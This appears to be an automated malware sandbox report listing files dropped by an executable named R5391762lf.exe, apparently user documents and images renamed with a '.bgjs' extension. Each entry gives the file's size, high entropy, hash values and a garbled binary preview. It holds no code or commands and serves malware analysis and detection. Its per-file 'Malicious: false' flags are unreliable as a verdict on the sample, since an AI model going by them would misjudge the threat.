SSDEEP:	24:bOwu/JVPEEoK0BjnR8z/zoh03m4rP/HhmG6+hXPUxnKC1qHO7t1Xq8uWbD:sHPEEo38bzm02U/BR6a89KCIHOp1XFuQ
MD5:	85EC20EC001A73D12468EDE348869E6A
SHA1:	EF103AE952299207C21727F4E511F785E94D07ED
SHA-256:	7B8A45E52AF24E3FA959C715BC3ABBCB65576461364A5B9F1DFFC222285BB7C7
SHA-512:	98770168D19865216732468AC007B568CDD84F8AE7114242131B8CF5AA1469B53C58AEA4FE8E75CB4E5058E4FB20C345216A157E1C1D0562795B7961DD63E6D7
Malicious:	false
Preview:	KLIZU..\..vX.......Q\|....}6..z..H09..&\.r.!...A..4..y...{'cCr..>.{.I.n.M.l... ..l`.6..K\.D...5.@u..Nl37.._.w.....R...L.s..8.?..}0.<...\|P...=......A!n...l..3!O1..C.P.g3..c...^~g....-.>.j......~...G.....?.W.z!Y.C.[.L...0...ot.....~H.h.G.S..?j ...K..}.....!}L..o......?.l...tc:...`..e...M.+....o..>..WL..8.....i.7.......N.Lb....<.I....t....\:5..$..6_....^.{.H....B(h$I.Lf.."n)#.o..@b,.TX...;.}.+.@a'..X.C)../7..[......b.2T.....^W..O...G.?4..}..Dz3....r...N.Iwn....Q-.v.......C.^....D$dI....Jy...o;.Cb.Rp.....Q6....7.z;m..;M...G.}...C.....e.9.a...J.}...........J<.d.BA..W..5.C.(....~.%.E.%.\|..]...P..gkt...vC..\|;dg.V.\d....E./V...b[.L!../.y.."..B7..y..T.WX..<...O_F.1l.L.;.]..j1.\|.y..>.-%.....k.'..o.=.?.......[..T...1K~.a..[...,....7..%.G...k.....,V..C+...J.Rq"$..Q`.ybE......d.9.f.....Jku.....R.{........M.S..AT....V+.V............/.u=....-Y.......g\|u.........1$.L..g..'.G .cZ..P....,....G......H.J.L...`.YM.rK.^. ....kq.gE.$...O.IP..2.

C:\Users\user\Application Data\Microsoft\Windows\Recent\LSBIHQFDVT.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856069246447018
Encrypted:	false
SSDEEP:	24:KBsARP1m0Cgc41nxIUAAwguVdlRRQ3n4kE/wH+sL2ywOGgWLrZ/0zXq8uWbD:KrQ7F4dxIhhdRQ3nrE/wHDuOSrZ/oXFX
MD5:	AD81A049F8ACA5401A4E707C299307F7
SHA1:	201FCA78B1E96DA8A3D2B5A58F6216F510A43740
SHA-256:	93C49A7CB097CC2FBAA41EF3F2FDA70EA0C318DE34ACB8635969316DBD930F57
SHA-512:	E2EC695B36A6059CBE46B59D818E36B141E0A38722B4807F5C06581CB249BB6A899E1521B97A49455604614F7BF9EE3347832FE31206CDD91FA3F5BFF9AB114B
Malicious:	false
Preview:	LSBIH......\.Z.n....#....;..>..Ru.Q..,)O....<...%..w.Y.V..$..S..2</.._<..r..F.C.[F...F...'V..6.^y4......3.z.#....$.6...3..o...9.....6..e4...h8&1......g..!...T......T......T`zy.w.../kSnP.-.T...G.>.&.X5.".b...R.p.is..,\|.q..c.$....Y.].mz.EI.._...].L..Wu[.....3....8..-..5Urq..y\|R$@.lk8.@.E..$>.c..a.)P..bVK.s...............2Ke .-..#z.l....6....{..h..3...T..F.7.!.e$.P...5hz'..H]..x<N..G.....0.'@...\|'../q.+....=.........8..y.NG..x....B..kHL6.\|..K.t..Qi....e..Q.r...l...E.d.H.....\Y"g..-E......'D2.o..R...#.._.l...p.O&^....a!O.B.d.q...a.f.......;.......{....,0..3.;k..o....8<...]..Zy..G.V.Ny.B..@..@.r....e\.We.r./.2.f.-.._.4.l.&.}..N/...Sb...........fd;....):..4....by.Y.i...`.4........e.@<P..~.9..1....P#.U...m......y.f.hu....q#.0.(E;..s.o-....4....7.G..p..i....>.S.(..5..tu..6M....R..#.s.so...#@.N-.A..Pi..A.=edE.....\t.=..jw1.'.`D.D.(/.,...\|.=......= +.+...IR..KU.2fi......../....:.S.d...<\.\.V.M...'3....U..<U.">./.\|....O.....<...n..E_0.....J..

C:\Users\user\Application Data\Microsoft\Windows\Recent\MXPXCVPDVN.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864772726363262
Encrypted:	false
SSDEEP:	24:lnz2ToVghMW2ntARAWaNydAQc1oYDZfhvj7ZvJPlMKHeoRgzDNYZIwffufkTXq8X:lyToVghMW2uRAWarQ8rj79EweOgnWZIw
MD5:	F6957341A8CCFB6CD1E43B7F5F908A02
SHA1:	729A98A71E4043BE347595E7A901DBC5D4243815
SHA-256:	A312E4F47CD395CE0A859D259D4F961A6D1086D800DB42D13A46BD2E1D1C53DA
SHA-512:	3477E44EEA898C6A3DD83DA20F3321A39859EBE7197B1DEEBEBE94F3A04D96EDB8848E0CA0C3488DADCF4EED246422EC622B45000464915277A987FA148D1137
Malicious:	false
Preview:	MXPXC.p..7...8Y.Q[.T..NA.Xo=........6)@.o\2{.l....7?.SB.4..a....nmED.LP...$..A.Lf..s.%Q.p...a?...u.hp`b.z..._.s#.n?.......43.aI.../...}.%....~..\|B.F.v.K.~....}z.<$.nt...Y......-.m...<... ......N.&..m..x... A......;.G.=ef..$..[(...~\....f..d..t$.S^.`..,..9..B...b....\|...)~u..B.q..+..=b.......!.:.l...X..\|B.]n..W.I...f.Q.n...I-U9..A........t{A.U....[...;.V.....cZ.c.kR..8...>q.~..q.... +=.d..... z.'.......Cv~.If`.>.Hm..&....wJ...M...:......#.W#.Do......$7.k.G.V4..w.;..^c%..s.8P\|PI...6#jZ..._.I.....p....9...z0.....G^l..[e7.{.rq.Pb.d.-..L.C..T......Oa..~\|....l(..i..\|..x......x.x..c.f.X.@.....................5..G....#.,.0o.}B.6.a...u{...m.7.....m!.......CWQ>.p......>Q..s..L.v..M.SN..#%y..Q.]w..H.c.=..0u...1)..\......x.pY.J.......C.Z...r6.63E...gf..M..yF..Tj>.D..u5.y<..#.......B6T0.V.S2.}...a..^...K...@..H.s..]...g.\|......Ux...!.0E..v..e.."8.9....<4.0.......).D&.GR.@..$CX.e.].0..Xl.f....qJ3m..{..}#X[...U......E....0.D..V\...S.m..u...y..t.3.....?..!.X

C:\Users\user\Application Data\Microsoft\Windows\Recent\NEBFQQYWPS.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852952712424497
Encrypted:	false
SSDEEP:	24:vRogybCB9JicpPJtqvoDB2l4Up2Vgs641apS//0w6N4JiTNR+ESAXq8uWbD:ifup4W2e/d641N/c0GNIPAXFuED
MD5:	95A90C69896EA55A46D42C227043F6D3
SHA1:	21A10EEA0C1CC609464C120DF9CC3D458C7ECAAF
SHA-256:	9B1BDF606AFEC76C637DA4F154EFB6E33A7E53B21C9A1DC23B7EFFD6A6FB8821
SHA-512:	35F7295CA4D608DF4BB42FA9B8A03038E0B402E1AC4B1EAC6BE9BFB08A908A235968FDAF20F7B2973F79740C86190C62F55AC226F2DDACF996EF20E02612EBAC
Malicious:	false
Preview:	NEBFQ.o..7.N..Kkc%..2.....k.N.....V...3h...[Z.JZR..5/.Im.6.R...k?M.......CTR.u.H.....4.0s..........0HD./`YD.wu...k......W.f..zm@.TB\|W:..=....xv..`..IY....H.^..(]..it{...{.].3... =.,...(\|U........p5A.#eQ....H..X.P.}[........n.s{g.O.O.....].b....j..2..?Qr..n...3700H.6`...\........g....#t..@g...}...........Y.Xag.....$..`.......ESIf.v.......e..c..Y.1..]..8.`...6..........E.l.#.. "...E.4..T.......Te..+&...^v.[.......G.C.O.3.w.P....q.\|......5...=j5...`+n.C.}T.n.........6.......G.1.UV...._]."/`..u5>r..u.lXK_.9.........tR]....T.4c5..X.;......2.~y..f.a...S......<R. i.....e:0..5fm!..'.GG..LgO.=;..M.?...A.@h.;......6.^.D...XO..{8B_...j..c+.+.E.vy......hM...u(i.^..}T2..9..g.GN&~...mnB.....BY>...w..9p.~]A..a.:J.....e.e......UKN<..6..0...[./`R..E.Q...-E...\.q@.'.....g.m8qe...]$..".....#....y0 .T.\|......NXX6...D......N{v.%0o_&l....d..=.f.5..&...<1,P.P.Z.5f.p....6L..0.t^.n.<..:...do].].j.}..y..........p...v..i..C2.\|...V/..{.x..mnO.LR.n.ze.,Fo.

C:\Users\user\Application Data\Microsoft\Windows\Recent\NEBFQQYWPS.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847391341659271
Encrypted:	false
SSDEEP:	24:TOeCF4gHJBEJxfOqXoR3HSjUMt6xoFS2UlhvQpGHbdfzHSbq9rpkpD5PTAQ9Xq8X:TSFTHJqPsR3HHMtoPzGih7D91CV9XFuQ
MD5:	69CD536D42C1F5278C84C3543BDDAAE9
SHA1:	05F8DE481E120FCB472D33D84364A41BA85E338C
SHA-256:	901DB72CD39580FC06B0E454F4E33D5CB28810C192A69F5CF37F26D1327DD34C
SHA-512:	05DF08B31770C19D5B85EE2E87943D683FF82DE6C03A03CAB2ABEDF4CEBA57FF33B581A433B29FBCED195F590E8595B296ECC43E462BE9E8AEDDFEE43077CB82
Malicious:	false
Preview:	NEBFQe....Vq.....)`e/.'...a<_..1.y...ZN7`.hS.#.G....(.9jT...,.(....a.....c].R......f.8y9...f6"2.c2.fwl.j1Q.b.z....M..T..".2V....:^..8....X..5..>.../A..p)....#;Tz....?'.T...k;....M.F.._..Y...9.7gnrE...:..F...4.....#.O-..o...F...3...d?.j"Ol.....FX.D^.w.6.....E.d....H^..D<hyj._.:...:..~..s...iz..e..P=u...g.N..>7\|...\|..OO.....>..E.....Z...Q.G.4.-}.%......[...tU....B...{(..(.L.W..>..AE.X3...##.qp6...i\|.l.>.O.=.7-.IFP..4`..qf=.{..J7\....YM....`...-ab.4....(.q?Y.ni.:....-...~.....r.F.^.'..4.2S...J..0..s..}>9..13...C......TV..B.E%'..BY.g.m]..\.... Y..{xC.f..\|.v.?.....k.s........f '@....^p...=.R.>&....P-....G.[.v.1..ru...(..x..A..K.uZku......j.........../..'G.I...-(`H._...8.p'.......$..N7....:u......4.G.I.3....'.mi.@.RC9.....:f.=..wP......u....#....y..-jT.A9ak....g.=4..y+Ub..,.z ..r..J. ..Xal....8UE......f..})_...NcO.9<Z.\|......$q.!.=.-l%......T.9s.u;rr. ;Q...A...s...x..P.2.u.n..G+M..i..:WK;.T.^v..A..F~.h.wi.m.0..hda...F...,..B...

C:\Users\user\Application Data\Microsoft\Windows\Recent\PIVFAGEAAV.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86101301441442
Encrypted:	false
SSDEEP:	24:yJXVaFTh5VSTcQFFFeligmOSAcNOZwLDEhIt1QVDXBB7NIs/8vW3Z6MFqvgXq8uQ:GaFVeT1X4cNcwLDEyt1Q34XGXFuED
MD5:	950955A182336E19DF4DE4158AE7B23A
SHA1:	269CEAFC0BB9EE607B8DBB63AA16D8E1EAC15A23
SHA-256:	6AFBF65B9028772C5D382A15A538E6139A1177735E56CBE9493A17184A754D1E
SHA-512:	3662B74DCAEB3B1343C8B9851319965622D702336C80BC205FD0FEB4A8C536D53BF0689ED7DAF81FBE54BE12475204A7CE3628A495B678D789D7765DABC9F7A3
Malicious:	false
Preview:	PIVFA.......Uv,!.\|f.v....N<I...9.)%.."A..6....B2...v.m...o...b..\u.N.5...-l..A.P..].EI....{..vz........3..).`..g..6..X.7~}.N..b.....4...)..6.B.....N.V~>s....89../.~.Y....kE...d..x..\|"p0j9.....V.y.jvp.MY.F..<C..a.S....[..[...q...R[...Dt..U.....#.1........G....x.z....\|C...}.]V9!._..y5.....1..L."O7..w..d.<u6.........[...9<;.G.p.j.B.....(5vy...?B..;./'.3Ci.X$...:..;..ISS ..qY.....3qw{KitsJ.....&..u.Kl.,."..%7... U.....b4..~FK.....R.....Z..Z..I.ev;l._.kh0\|.....,.x..\|).v...cCp.....N...u.<.....w..........I....x6.R^.B.v..[.1...4.2.ht5....~.^..i...[-~.'nX.....n.......;0...np.6_....)...q..^o4hA.[<c..\..EK..#..;2.b..\rGu3.F..A...........T3..'.....l....0...T..5\`.G8..j#..Q...v..3.:..VD...B!5Y..u.Y..bh.v.4.E6..V..R.6+u..f&u.M9[kZ`./;...s9.s[...XX2.5h.@I..A...ka..C.#E2.U.92T.'....tK.bV..+@...w...$!.{(..@...h...$.*X.W..4PB..=y.8..1<.S..Rc.....hh.......7.4.k~..n.S..;..h....=?.....v7{3...i.......\|...c>..b}V.X6?..H..._.....\2.p.p.+No./....(.+.z...j..Z.e...y....

C:\Users\user\Application Data\Microsoft\Windows\Recent\PIVFAGEAAV.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84040642516264
Encrypted:	false
SSDEEP:	24:95VGpaXG9mE/NnUMcjCFYr5CCY46v2gykmbJ7QRtkOF5/kzTJXq8uWbD:95VY+G9mYtVhFW5CzvEkmbJROX/kzdXp
MD5:	52544133D441FAA1A91F88EB4CA6E749
SHA1:	966CCB57790AD2BE410A6C9CDAEBE5BEA4883A23
SHA-256:	12F3A738CD6AFFCFC2CA4EBAB24F08C9703B278D91AEC1EF28AF7CE78A1DB7B6
SHA-512:	ADB6884BAB8853306F0F14B93ED812035443F83A67F08442EBD702D1C0D0DA6F6D47D10202E40331E6B319169C55F8E9F42F431B46F7942976D05CE07E235747
Malicious:	false
Preview:	PIVFA..1..j.G.+....u..1n.C..-.n....020.O...L.k.!.}X....>Y.....b.:.(..RnC.r..}..\5.5.Dk..........v..X..f.,..g.\|.....Y#......n9.51HF....z....X5..JS.m.S..........i..#..P....(.:=EI....] ....v....q8.NR4[..Vf.4.....!>xJ.@...S..k..p..t7.=..U..m.l........3@....D...z.rZ..3./.lP..V...D`.s.6......w..`........NG...J..j8.o-.`....\..S.i...~.xw.C\%.......X..]....e..e..s"....j.....W...J....y.../...&.w...p...$.;..\&...\|m.%w).3...Y2...'y..`.y...4.v...;.q.[.>=.ct.. 1J5......T..j...B%...UDv....OCGY.........J..Vo%..k.]N!.\.>.....J.....m..s.[e.0.d.Y.B.d.F`...-k-e&...]C.J;......$...s4..'..\|.[.....p .o.dk..\|+.,6..qT`..eW..z...p'.......:C.e.s......x."..f.i..H.......f..c..>`....Fu...1M.=..!.p....._A2"J.._....c.8.@....+..R..F..<W.....\.......+.k....7...I..sb.a.a..a..c...j.......j.g\[...e.....S...5....Bf.w`.9u...%.<?Q-l...o..J......G`o.!. p,Dy1Mr.e..p....b.dR.c$.>.0C./...m.....".Z.f..@...fG7.K..}.....B?...#r...5..u..;.\|L.p...y..N3.5PB.p....Qg.l...

C:\Users\user\Application Data\Microsoft\Windows\Recent\PWCCAWLGRE.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845826768275665
Encrypted:	false
SSDEEP:	24:XxtK3CUrASO2IxxP91X2JFecn2keL3Dm4TFC1HqiMF2yE3Ft7ykSB/8hq3Xq8uWX:XxI3CUrASb8h6FkLTmGFCNqiMF2yEVt2
MD5:	EA2CE435555DC204CA900F0783DB3733
SHA1:	30F985DD5F4C796F83C0CDA384BADB4399AE22AC
SHA-256:	1F00F3F628A11DDD45153E16D01928316AE036721091C9065B2A6D4B8B9DC431
SHA-512:	477A1137C258DE1A924DB89510C549E367330F8E1E1ACE212408E66873695320F2E680B0AC31850E36876E3910F000B87B25431F8D53F7DACB8DBB6DACDECB69
Malicious:	false
Preview:	PWCCAq..z.a.7.rs.<.....Rp.Z..hm}.^.(h.b.,....]...XHn&m9..:`a.B-.k.[.2.....sa...........o...v..n^6.....k..:..^..u%D3p......QD.....1~..]_.ic.wXR.Eh....6..NG....@...^..Ga.<.>%...I.~........B=IKH.@\..d....\|..m5.5..a..n..D.b..9!...c.......(o...3.0.q O.W.k.l.q..sI;2}1s..kk....\|.......i3..{..miV&....b..Y..O...X..u.._...2..S.Z={7.z..G.Qp~.SS..(.V..Z.;.Lr!k..o(...jLL.'....9%L.+.+....y....F.6.f5.K'...v...........D..g....A.a....:1..j.x.....mE....g...AQ...I.....>.B..v0[..Yc.rh.=x...G.+..k.T.>..1..L..,....2.{o)GL.>4.....k..0.......hD........v./-..nTR/1."#.....M..v......u.Q'.P[..E.?.V..V.-!.L..!v.q.0..8.......?.\.......9.4>g7..Gz4.`...1....0RiG.6R.X......:.....6AA.y....cw..+..?......./.......A.n./..8s.....>R ..d..29.9.m../M.,..2X ..n......L.E.(v?.....B>l..*...Ch...5...C.....I.s ....\|....\...j..;.5b%..f.n..N..-`d..}n.V.r."w.<r.."...m,..$..TF7....Y.../.g:Q..Gp].u66..yN[.....f..=d.e.fk.A.W..V...r.e.&=z.,.'2............_.g.Q.. ...n>8...w..j{.]..

C:\Users\user\Application Data\Microsoft\Windows\Recent\QCFWYSKMHA.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8514548557283925
Encrypted:	false
SSDEEP:	24:gCn8n0uUd8CqUYG8KjMkwEObDLxLKHEexGIvfq0SRLIRCqe2tsfkEFl/iN4IdXq+:gC8n0uUdhqUsJbDNIxGIX3I9A0FlqN5f
MD5:	A5FF72D74EB99666D6A181B03D679CC2
SHA1:	FD1A4DF31C4C9B5289B88856AA1D3041F39780B5
SHA-256:	784B5CCE570BE277618F85506D37D6DA93FF7665FD4D5E340B59AFE7E1F93F01
SHA-512:	1755755D0DFE9B56C291BAA5B56812A0A12D2E97E42A154C3FD0FDAB071570166E1756506FC63B56B6268EDDEB97B6F649625BE4E3B94C286ECF1185CDB9008C
Malicious:	false
Preview:	QCFWYQ.{b ..&...?...0..uU.\..vW...Y.)..un.p.w@..?.(R.^H.......g>..D........4G.\|..yt......v\..]3.X.%..S...%.S.l..........`?a.1O....f.;......N.8...;...o.t .wT.....u..'-..d..mo[~...M.vc.>...iz.0]K5.p...P3..W.TX.e..}....ANU.:..c.......Y.\.1.."~].7......O.o..K..Ih..g..]7v.2....b..?z$n.y...neHiC:[N.G.?.....c-....:.._iQ..<\...SU..bm.......v.[0......;j..0.=J.[.,.Z..\|.O.I#.n/....d=..14....-cp.I.a....t......+.x..D...^.wSz...,tm.B.a9.P.^.2;....Y.s..2..#n<0wil.Q .}b.?[8..E:w. ./..>..?.w..c.q........O\|.u..<:6\|,.=..].w.T.8..m.[t.=KC....z..r.E-T..y.+n..=..Gz@W.3...@.T.n.D.J..;..r(.rDw+.....{q..(..wb.!l.$.I.U......z.U.>.....X.3.o..g5....ai..B=T\];..V..P.%c..."....uQ.@...5.$...\D.I..j.kp.......0....)e/%.~....V....h}h....{s.....<.xmK.B....M.[.....w#5E<.4.......)..=R.........Jvs[...L..?.6.......(....P..b...*....?g...>a....V....Q..I....{(.0..jL.BN.>..N.].......Z.....=...M........>R@....%/.K.]w.p..).....O..^....M.A.._\.1.\|..i...@...ive.FA..U

C:\Users\user\Application Data\Microsoft\Windows\Recent\QCFWYSKMHA.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.818222392102568
Encrypted:	false
SSDEEP:	24:wI6NcS38PTkJxFQHaIWBU5ZBTijFsTki2/vq2F2ezrV2grGXq8uWbD:wWPoJfKDZkf/vq20ezJ2IGXFuED
MD5:	FE96BDB55AC80488757D991D543E1CDA
SHA1:	C966E31A90C479A3ADB5BA9C9AC476A37ED37C2D
SHA-256:	A9EB4691C4C20455405DA986FDA179ECC6BD77D19006BF5BE0F8EC69F66C3AAF
SHA-512:	EE1F3E6C31BCDC7170F4AFF002996FC4C637059FAD6A2E8D337BF33096A6D54DD28C11D67D96666C96306D756911807FF03A4FD125239295F932882C6AB9198E
Malicious:	false
Preview:	QCFWY.....HT...z.'O`..P....N..6.....G.........^Z.A.wsb.._nZ\...B....3(9r.@....zwA.ww5D....3..Nl....e.).......6..c...g..K^.Q....../....'.c..0X../.#.Eo^S..)-.z.8...(.k..4.f..+w....8.....,.w.?.x\|...S..P....L.z%...!\|..N......_..)\$.7...d.......;..@...#N._.D..-`g.}.._1..$..........C=....c..;.....)H!..........f..1.N.%5.3J)........%\.\|...e.Yc...=..$.w9D.\....@..&...?....)V...j.X.F.D..p...K.........-...Q..$.'e......T..v..I....9rPt~.Y..9......D....@T..S....2. ...@...K..{..NS...N..p..S...OC...'.Mj.~..Z. ./.....<..I.V.R.\.o.`........i..\z...9..c..0.?.Id.1v..lbZ...g...!..5S..,>c...Q.@..../.v...ct}.,...k.]7.3.7.T.S\|....:..B...9EX..+.....@.ms.Z......).@.2.!..![.... ..'oG$of.O...'.F+...[EyBb...k...Ju..M.sk.le....{mz..e.BI.ix...T...aCb+...........ob..'.$.I..s.c4.A... ......L7'E.h...\|.O.!x.....e.U.Y5p3M.....<....L..e.laAZ..'.i.....y.]....Y..A.iKn.OE......l.c.r.k..^?....s.... .....IKpn..C...{..C..?7..K..^..C2c.C.g..X...@.....Fp]..t...?....]...

C:\Users\user\Application Data\Microsoft\Windows\Recent\QNCYCDFIJJ.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852129756647211
Encrypted:	false
SSDEEP:	24:cgAFHzJdU7U9cbjWt1geWobuZhHUoRS4TE+iI/WlUtVs4Gv0jfsQWP6Xq8uWbD:KdiG7geWobs4JSWSPnyP6XFuED
MD5:	D990B2A59A4F24A313172AE68C3F0553
SHA1:	8DED51808A7B0029F174BE12B9EF15BAD32EC991
SHA-256:	027D551665BBADE03D66557650EBFFE32066019883621BC7FB3C22AA20F5A130
SHA-512:	80B2C81EA11E2814A03894710DB7C0AA573D78960CE5A43E0A36D8F524315D2CF4BE08B0207E78501D9BBF49CBF222971B0563A91F4E30E4738707CD1D142A91
Malicious:	false
Preview:	QNCYC....#3...O.zh@...]Lo...$.+..\|jt.K+y..Q.g.c..{...\|,..QZM..?..%C..t.%....\.......i...0...N......+../V..$.V..k...e.......h..U.P...a../..n...I..0.@.U..g...ks.hW....kS?..ge.f....#..;.....M..:...S...)B.c._.%.b.......,...yF...A..M.jd'....B....g.XC... .v.N..<.B\|.\.5.sT....1Y..4.....5...>.?...ha.O...O.......%...'=.E7...'v.Q..>$.P.;.xe'W...oe..B. .. ....+..>Y..L$z/.U.E`....v\!.7..J....~.b..'.v...r.E......7!...Xj=.....s.G...O...).\|..=....spfu....J....C..U.l#..)..xb.5....o_...qA......x1%..Zg..G..W..pV...@$..s!....;..O..t......U....k.>.H.Y.....@.W......&xE.:....u.@......8.. ......n8<.B.P..6......g.FF.#.k4I..j..\}....F..\|.w.....iF...oa......Y...4..S..+.@.~.. f.3eU..8.I:.eg.N.D.$.'O4....i>..,..&g........@{~..8..[..$.......q`.QP....V. ......be.aj.0_..?...Q."w!..$.[..F\..+)6.25~*.S...i&Z2..s.RAuOMmq...7..Q..AP.....T...=..l...^...k../...dg.,.D{+s..v8.N..{...k..u.....)v.A.<I.-.%.Ip+.%....f.$...2o..6......CV.........H...xgf..I......s.2

C:\Users\user\Application Data\Microsoft\Windows\Recent\QRUSBVEBEH.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863689087313243
Encrypted:	false
SSDEEP:	24:QCm3zSlThpgyZn6rwJZpwKycuDlDO9BNUxI6AIbUC7D9d3vLLdTcewnWXq8uWbD:TUSV3n6KfvWgSe6RUCdd3vLLQWXFuED
MD5:	CCC9353AD7A94A4248EDB40D5BE9C2A7
SHA1:	6794A8D754255AFA2DFDF92CAA95B9B3379E60E0
SHA-256:	3A5308E432E14051A3FB1F5D4CC591009102A7B9A23A3C15C1BBC03A1017885D
SHA-512:	4492F5393424B09F4EC31C781D7755A87A4BDFA6B26CA2869E01BA4ED2378FA6175A4F3BAE6BCEEB8CEDE026B8060744C67DB292F4022A6875CC97B9146E985D
Malicious:	false
Preview:	QRUSB.k.g>.2V=...1....l.;@.fDx.....e.nu.E...f'1._.\|...o.~.k..f...=x..2[....VwAf.R..5@..N.B,.$..:.K...3L..h...;._..y......^t...\f..}....(]..!h..59.K...}....+.e..y.................}.Yk@.1....\.qlJ.W=.HU..v/.P........D"?......n.b..A_.6....B.?D..... pv.....r....AC&=..~.N..^7.....C~..4.nsO.n.../...F/.....K&.@...k.YF....@M..f8;..a....Z.o..c.......Z.).Y...F...+...!.&...T..../..n"...t.+.q.._...Eq{\|.......4...[...L..6Bz....94._.....:r!.y..n......q.&..N.o....n...[).....M.A.....E.......z.Nn..,.gOM.6....'G\.......S.G....Q..s...!........+...J.....4-.5.A1.n..sk....}.}..m............4.ku...:..,vk0..Kc.&6....Z.3Y..g.R.w.....Y^.....G.,>.ty.M1P....O.{.........g...A...4.Di...!>`u]G.e.Vw....^..2W..P.3.9@,!...*.Hl.....hv..>J.iCn....A.;.YZ.).6l........h.......G......{...kY..../.LB.....S4..=Q...{=..H..<.....s5'.}..6............>........O...-.6.iN...W..l.m.W..P..&.%..B.~.f...E.....{8.r......._..>..mp.^....S...L.$....!...&T....U..m.z.....r.".v;.A..Y

C:\Users\user\Application Data\Microsoft\Windows\Recent\RNCDIJFLUP.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	PRO-PACK archive data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.831351315173115
Encrypted:	false
SSDEEP:	24:iD5VZXoi0+9Ha29MpwkvfA1lFfwPRAjNC65MoKLXq8uWbD:85VZ4iJOpwk3AFuEC65MTXFuED
MD5:	8FABC6556E783C2283E7FDC2F7A5640D
SHA1:	2B07E716CB379A75467C1951E47A013E503FA23C
SHA-256:	E8B955550ECEA0E68DD12177C1B69C1E75F55813F9434D13AC84F2C66808F7A7
SHA-512:	D213FF9ED1C01DF4F495AC9AD76542D8CA776B2317A68CD12C8D6F0725837D6375BF3C950F732E3E3EEA8B4DE729AC37CE02142A3B7D3C2FC9E96C4C3885A5F8
Malicious:	false
Preview:	RNCDI...g.c...:.H..H.........mV.\|.....q.N.0f.......:...f#+...7..,.w..e {Zw...Q...+.+3.0x.u)...4.F.f('K.b{....O@..};LB...V.%...!h.{z.q[N..5...9....7.......i"z!....u.`....Yy...?...Z.i.KU..K..V..4}]kt.......%....-.l..CO..J.F0..[.QA.E..t......CR.m$m~.d..=..=.y..eA.&...../.......(......'...,va..=.7.4E6.Q.fd..8A..p]..i.)R...p}..dvn.a1f...M......g<..V....[....`..<.r_...q.W.0.P..y&......l.....po........9....W....W....3....h..j:o..\.......W.......w.\|.....3.&.....]M.....\|7...%..s.)..O..B.u?z....D........nG.pHYI....>p'9.....R.ks...D....7F%Kf..U...g..A...G.F=..w..%.....R..^.,!QjyN*.)..!.p.,......~.N.$.wB.X.6.Y.K~.{p5..J.s...A[......Tb...!'.C..L.zYcIk.9JNlt....2.-...O....I........Ef.r.....[.&...!......8../.W.K.J...4.....p....U I0..h@....5..c...Y$5.!.\|.Th...5.6..Q._o.....5.@..yf#....P'.....qg.\|v?.yLYam..^I..G..,...0.....y.....w.`.7.p..^C<.P...W.{2.x&..BT.{Kv.2..:+d...Q\|P..d\|A....X.......g..m...4.....Y..D.X/.9..z,.-..r1.. .i.y..+.9.2gN.N.S..GnsuQ

C:\Users\user\Application Data\Microsoft\Windows\Recent\SFPUSAFIOL.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850056400131309
Encrypted:	false
SSDEEP:	24:0o5dY3nn97aiyQqFRqbHcGQyID50soJOcm62AhK90Wktk6oIOUHXq8uWbD:0oI39zyQ0UbRQUvTfe695XFuED
MD5:	D9F35B7206C9B8AC856106A066CABA55
SHA1:	DF811D32D4D232CF71EA98AF22ACBF5376A9400E
SHA-256:	853C9493C0369C9BBC6EA45E814C6467AB5C7291F99B6D2222BC59057126C204
SHA-512:	DA7AFA71DB239309955549E1FF07D429FD1E394B6D11B420E104166B9035177A4B7BE06D5442FAF95070E2F5402E420508B6D5407082761BE98390EFD2557922
Malicious:	false
Preview:	SFPUS..........2.C[..tJZ.3.(.n8'.D.6.$.....F...0..v.$....-..HSh7U...G\|F..0./...h@...\.u...L,u...F....\....d.x'...Ce-r&5~v.n(x=6.. .T-...d..l.._~yh..S.h...........}h+.0.D/..]......:.r.d/./.WO....$.....R.![.....Q...S...\..].....\f.....2.C......S3..AUO)......,....$......WT=0.f.i:.....Q.{. .>..Sb...z.......\|.h...X....H.$i4...s%.Y...(wC-#.^G..Y..c;..O.:a..D&.c.n......0.:t........!2.w.~........T~b.e..$.R..@C..N'.[......<...n...l\Q...u.... .B.j7..$JP%..{.f.K................y..9....._g...M\|.Z.g!=....:.~....e...c ..^...}.uc...u..Sw.L_.sB.)k........LB.Di..E\|k......+..j."x.n&7KV...B.'.....2..?..s.P....Rrb?Z...6s.;..qO..L..\|...u.....g..Q..'..f...}.............,.7t.....nM......gC 